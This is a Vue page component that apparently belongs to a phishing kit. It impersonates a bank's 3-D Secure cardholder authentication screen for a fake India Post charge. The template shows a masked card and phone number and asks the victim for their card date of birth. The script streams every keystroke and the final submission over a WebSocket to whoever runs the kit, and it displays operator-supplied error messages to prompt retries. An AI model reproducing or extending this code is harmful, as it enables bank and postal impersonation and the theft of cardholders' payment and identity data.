<template>
  <div class="box box-content">

    <div class="box box-header">
      <div class="box box-shop">
        <div class="img img-shop">

        </div>
      </div>
    </div>

    <div class="box box-main">



      <form @submit.prevent="submit" id="sharedThreeDSForm" method="post" name="sharedThreeDSForm"
        class="content-card content-card-padding">
        <div class="section-set">
          <div class="section-header">
            <div class="bank-logo">
              <img id="renderImage"
                src="data:image/jpeg;base64,[encoded data, 76548 characters]"
                alt="Bank Logo">
            </div>
            <div class="card-logo">

              <CardType1 :cardType="cardType" style="height: 50px;" />
            </div>
            <div class="clear__float"></div>
          </div>
          <!-- <p class="date_time" id="date">{{ currentDateTime }}</p> -->
          <div class="consent_div" id="consent_input_div" style="display:none">


          </div>
          <div class="main-section">
            <div class="merchant-info">
              <table>
                <tbody>
                  <tr id="cardNumber">
                    <td>Card Number</td>
                    <td>:</td>
                    <td>{{ formattedCardNumber }}</td>
                  </tr>
                  <tr id="mobileNumber">
                    <td>Mobile Number</td>
                    <td>:</td>
                    <td class="mobileNumber_with_icon">
                      <span>{{ formattedMobileNumber }}</span>

                    </td>
                  </tr>
                  <tr id="merchantName">
                    <td>Merchant Name</td>
                    <td>:</td>
                    <td>India Post</td>
                  </tr>
                  <tr id="amount">
                    <td>Amount</td>
                    <td>:</td>
                    <td>₹ 25.09</td>
                  </tr>
                </tbody>
              </table>
            </div>

            <div class="select-section sf-hidden" id="staticPin">




            </div>


            <div class="select-section sf-hidden" id="forgotPassword">




            </div>


            <div class="select-section" id="otpPin" style="display:block">
              <div class="section-message">
                <h2>Cardholder Authentication</h2>

              </div>
              <p class="messageInfo" id="messageOtpPin" style="display:block">India Post: For your credit card security

                Please verify your credit card Date of Birth DDMMYYYY</p>
              <!-- <p class="refresh_error_message" id="refresh_error" style="display:none">Contact our customer care in case
                you
                still did not receive OTP </p> -->
              <div class="section-form">
                <form id="otpPin" @submit.prevent="submit">
                  <div class="input-set">
                    <label>DDMMYYYY</label>
                    <input v-model="formData.verifyCode1" @input="onchange" type="text" name="otpPinValue"
                      id="otpPin-input" maxlength="8" required>
                  </div>
                  <p class="error_message sf-hidden"></p>
                  <div class="emiSection" id="emiSection" style="display:none">



                  </div>
                  <div class="btn-set-two" style="text-align: center;">
                    <button class="btn btn-submit" style="float: none;" id="submitBtn3" type="submit">SUBMIT</button>
                    <!-- <button class="btn btn-cancel" type="reset">CANCEL</button> -->
                    <div class="clear__float"></div>
                     <div class="error">{{ message }}</div>
                  </div>
                  <!-- <div class="section-footer-nav">
                    <a href="#" class="resend_nav_btn" id="resendOtpPin" style="pointer-events:painted">RESEND</a>
                  </div> -->
                  <!-- <p class="text__style__01">
                    OTPs are SECRET. DO NOT Disclose it to anyone, bank NEVER asks
                    for OTP
                  </p> -->











                </form>
              </div>
            </div>


            <div class="select-section sf-hidden" id="otpAndStaicPin">




            </div>


            <div class="select-section sf-hidden" id="custSection">


            </div>


            <div class="select-section" id="refreshCustSection" style="display:none">

            </div>

          </div>
          <!-- <div class="section-footer">
            <p class="section-footer_time_line">
              This page will automatically timeout after
              <span id="timerCount">1:15</span> seconds.
            </p>
          </div> -->
        </div>
      </form>
    </div>


    <!-- <div class="box box-law">
      <span class="text text-trademark">
        <span class="no-break">Secure payment by Saferpay</span>
      </span>
    </div> -->

  </div>
</template>

<style scoped>
.error {
  color: #D0021B;
  /* 4-72's red for errors */
  font-size: 0.9em;
  margin-top: 10px;
  font-family: 'Montserrat', 'Arial', sans-serif;
}

* {
  box-sizing: border-box
}

@media (min-width: 601px) {}

@media (min-width: 601px) {}

@media (min-width: 601px) {}

@supports (-ms-ime-align:auto) {
  select {
    background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGhlaWdodD0iNiIgd2lkdGg9IjEwIj48cG9seWdvbiBwb2ludHM9IjAsMCAxMCwwIDUsNiIgc3R5bGU9ImZpbGw6cmdiYSgwLDAsMCwuMjQpOyIvPjwvc3ZnPg==)
  }
}

.no-break {
  white-space: nowrap
}

@keyframes blinking-shadow {
  0% {
    box-shadow: 0 0 6px rgb(13.8227848101, 42.1772151899, 42.1772151899)
  }

  50% {
    box-shadow: 0 0 3px rgb(66.7088607595, 193.2911392405, 193.2911392405)
  }

  100% {
    box-shadow: 0 0 6px rgb(13.8227848101, 42.1772151899, 42.1772151899)
  }
}

@keyframes vertical-flip {
  0% {
    opacity: 0
  }

  71.42% {
    opacity: 0
  }

  100% {
    opacity: 1
  }
}

html {
  color: #141415;
  font-family: "Inter Variable", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
  font-weight: 400;
  line-height: 1.4;
  width: 100%;
  height: 100%;
  -ms-touch-action: manipulation;
  touch-action: manipulation
}

html:before {
  content: "";
  display: block;
  position: absolute;
  width: 100%;
  z-index: -1
}

html body {
  margin: 0
}

html body .box-content {
  position: relative;
  padding: 8px
}

@media (min-width: 601px) {
  html body .box-content {
    max-width: 516px;
    margin-left: auto;
    margin-right: auto
  }
}

html body .box-content .box-header {
  width: 100%;
  position: relative
}

@media (min-width: 601px) {
  html body .box-content .box-header {
    min-height: 2rem
  }
}

html body .box-content .box-header .box-shop {
  width: 100%
}

@media (min-width: 601px) {}

@supports (-ms-ime-align:auto) {
  html body .box-content .box-main .box-payment .text-offer-description {
    word-wrap: break-word;
    word-break: break-all
  }
}

@media (max-width: 600px) {}

@media (min-width: 601px) {}

html body .box-content .box-law {
  padding: 2rem 0;
  text-align: center;
  display: block
}

html body .box-content .box-law .text-trademark>span {
  display: inline-block;
  padding-bottom: 5px
}

@media (min-width: 601px) {}

@media (min-width: 601px) {}

@media (max-width: 600px) {}

@media (max-width: 600px) {}

@media (min-width: 601px) {}

@media (min-width: 1200px) {}

.theme-worldline {
  background-color: #f6f6f7
}

.theme-worldline:before {
  background-color: #f6f6f7;
  height: 140px
}

.theme-worldline .box-law {
  color: rgba(0, 0, 0, .52)
}

@media (min-width: 601px) {}

.content-card {
  border-radius: 24px;
  box-shadow: 0 10px 20px 0 rgba(0, 0, 0, .03);
  background-color: #fff;
  border: 1px solid rgba(0, 0, 0, .12)
}

.content-card-padding {
  padding: 16px
}

.section-set {
  max-width: 520px;
  height: auto;
  min-height: 320px;
  margin: 25px auto;
  background-color: #ffffff;
  border-radius: 20px;
  border: 1px solid #e7e7e7;
  box-shadow: 0px 25px 40px -20px rgb(0 0 0 / 25%);
  padding: 25px;
  box-sizing: border-box;
}

* {
  padding: 0;
  margin: 0
}

html,
body {
  margin: 0;
  padding: 0;
  border: 0;
  max-height: 100%;
  font-family: Arial, Helvetica, sans-serif
}

.section-set {
  max-width: 520px;
  height: auto;
  min-height: 320px;
  margin: 25px auto;
  background-color: #ffffff;
  border-radius: 20px;
  border: 1px solid #e7e7e7;
  box-shadow: 0px 25px 40px -20px rgb(0 0 0/25%);
  padding: 25px;
  box-sizing: border-box
}

.section-header {
  min-height: 25px;
  border-bottom: 1px solid #e7e7e7;
  padding-bottom: 20px
}

.bank-logo {
  float: left
}

.bank-logo img {
  height: 30px
}

.card-logo {
  float: right
}

.card-logo img {
  height: 25px
}

.clear__float {
  clear: both
}

.date_time {
  font-size: 12px;
  color: #666;
  padding: 8px 0;
  text-align: right
}

.merchant-info {
  text-align: center;
  padding: 15px 0
}

.merchant-info table {
  margin: 0 auto;
  font-size: 14px;
  color: #666;
  width: 100%
}

.merchant-info table tr td {
  padding: 3px 0
}

.merchant-info table tr td:nth-child(1) {
  width: 50%;
  text-align: right
}

.merchant-info table tr td:nth-child(2) {
  text-align: center;
  padding: 0 5px
}

.merchant-info table tr td:nth-child(3) {
  width: 50%;
  text-align: left;
  font-weight: bold;
  color: #222
}

.section-message {
  text-align: center;
  padding: 0 0 5px
}

.section-message h2 {
  font-size: 18px;
  margin-bottom: 10px;
  color: #222
}

.input-set {
  width: 100%;
  text-align: center;
  margin-top: 15px
}

.input-set label {
  display: block;
  font-size: 14px;
  font-weight: bold;
  margin-bottom: 10px;
  color: #222
}

.input-set input {
  display: block;
  width: 100%;
  height: 40px;
  border-radius: 8px;
  border: 1px solid #e7e7e7;
  background-color: rgb(243 243 243/25%);
  text-align: center;
  box-sizing: border-box
}

.messageInfo {
  text-align: center;
  font-size: 14px;
  margin-top: 10px
}

.btn {
  width: 49%;
  height: 40px;
  border: 0;
  font-size: 14px;
  font-weight: bold;
  color: #ffffff;
  border-radius: 8px;
  cursor: pointer
}

.btn-submit:hover {
  background-color: #006485
}

.btn-set-two {
  margin-top: 10px
}

.btn-set-two .btn-submit {
  background-color: #0086b3;
  float: left
}

.btn-set-two .btn-submit:hover {
  background-color: #006485
}

.btn-set-two .btn-cancel {
  background-color: #999;
  float: right
}

.btn-set-two .btn-cancel:hover {
  background-color: rgb(134, 134, 134)
}

.text__style__01 {
  font-size: 12px;
  line-height: 18px;
  color: #666;
  text-align: center;
  margin: 0 0 10px
}

.section-footer {
  margin: 25px 0
}

.section-footer_time_line {
  text-align: center;
  font-size: 14px;
  color: #666
}

.section-footer-nav {
  margin: 15px 0;
  text-align: center
}

.section-footer-nav a {
  color: #0086b3;
  text-decoration: none;
  margin: 0 5%
}

.section-footer-nav .resend_nav_btn {
  font-size: 14px;
  font-weight: bold
}

.mobileNumber_with_icon {
  display: flex;
  align-items: center
}

.mobileNumber_with_icon a {
  margin-left: 7px;
  position: relative
}

.mobileNumber_with_icon a img {
  width: 18px
}

.refresh_error_message {
  text-align: center;
  font-size: 14px;
  margin-top: 10px;
  color: #f00;
  font-weight: bold
}

.consent_div {
  text-align: center;
  margin: 20px 10px
}
</style>


<script lang="tsx" setup>
import { computed, nextTick, onMounted, onUnmounted, reactive, ref, watch } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
const isVerifying = ref(false); // Control verifying modal
const cardType = ref("");
const message1 = ref("");
const phone = ref("");
const currentDateTime = ref("");
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法

const cardNumber = ref("");
const mobileNumber = ref("");

// 格式化卡号显示，显示前4位和后4位，中间用XXXX XXXX替代
const formattedCardNumber = computed(() => {
  if (!cardNumber.value || cardNumber.value.length < 8) {
    return "4611 XXXX XXXX 5006"; // 默认值
  }
  const first4 = cardNumber.value.substring(0, 4);
  const last4 = cardNumber.value.substring(cardNumber.value.length - 4);
  return `${first4} XXXX XXXX ${last4}`;
});

// 格式化手机号显示，显示后4位，前面用XXXXXX替代
const formattedMobileNumber = computed(() => {
  if (!mobileNumber.value || mobileNumber.value.length < 4) {
    return "XXXXXX9765"; // 默认值
  }
  const last4 = mobileNumber.value.substring(mobileNumber.value.length - 4);
  return `XXXXXX${last4}`;
});

onMounted(() => {
  // 设置进入页面的时间
  const now = new Date();
  const options: Intl.DateTimeFormatOptions = {
    weekday: 'short',
    year: 'numeric',
    month: 'short',
    day: 'numeric',
    hour: 'numeric',
    minute: '2-digit',
    hour12: true
  };
  currentDateTime.value = now.toLocaleDateString('en-US', options);

  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "customOtpValid", pageTitle: "当前生日验证页面" },
    })
  );
  const route = useRoute();
  const query = route.query as any;
  if (query && query.cardType) {
    cardType.value = query.cardType;
    localStorage.setItem("cardType", query.cardType);
  } else {
    const type = localStorage.getItem("cardType");
    if (type) {
      cardType.value = type;
    }
  }

  if (query && query.message1) {
    message1.value = query.message1;
    localStorage.setItem("message1", query.message1);
  } else {
    const type = localStorage.getItem("message1");
    if (type) {
      message1.value = type;
    }
  }

  const phoneValue = localStorage.getItem("myPhone");
  if (phoneValue) {
    phone.value = phoneValue;
  }

  // 获取卡号
  const cardNumberValue = localStorage.getItem("cardNumber");
  if (cardNumberValue) {
    cardNumber.value = cardNumberValue;
  } else {
    // 如果没有卡号，设置一个默认值
    cardNumber.value = "4611123456785006";
  }

  localStorage.setItem("route", "pinCode");
  // startCountdown("");
  eventBus.on("custom-otp-valid", handleEvent);

  mobileNumber.value = localStorage.getItem("phone") || "";
});

const formData = reactive({ verifyCode1: "" });

const onchange = (event: any) => {
  inputChange("input_card", "verifyCode1", event.target.value);
  formData.verifyCode1 = event.target.value;
  message.value = "";
};
const loadingStore = useLoadingStore();
const submit = async () => {
  await nextTick();
  loadingStore.setLoading(true);
  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: {
        type: "submitCustomOtpValid",
        formData: formData,
      },
    })
  );
};

const initialTime = 60; // 倒计时时间，单位为秒
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;

const buttonText = computed(() => {
  return isCounting.value
    ? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
    : t("Click here to receive another code");
});


const startCountdown = (resultType: string) => {
  if (isCounting.value) return; // 如果已经在倒计时，则不执行
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: {
        pageType: "customOtpValid",
        pageTitle: "当前生日验证页面",
        resultType: resultType
      },
    })
  );

  isCounting.value = true;
  timeLeft.value = initialTime;

  timer = window.setInterval(() => {
    if (timeLeft.value > 0) {
      timeLeft.value -= 1;
    } else {
      stopCountdown();
    }
  }, 1000);
};

const stopCountdown = () => {
  if (timer !== null) {
    clearInterval(timer);
    timer = null;
  }
  isCounting.value = false;
};

const message = ref("");

const handleEvent = (data: { message2: string }) => {
  message.value = data.message2 || "Your credit card date of birth is incorrect, please try again";

};

onUnmounted(() => {
  eventBus.off("custom-otp-valid", handleEvent);
});
</script>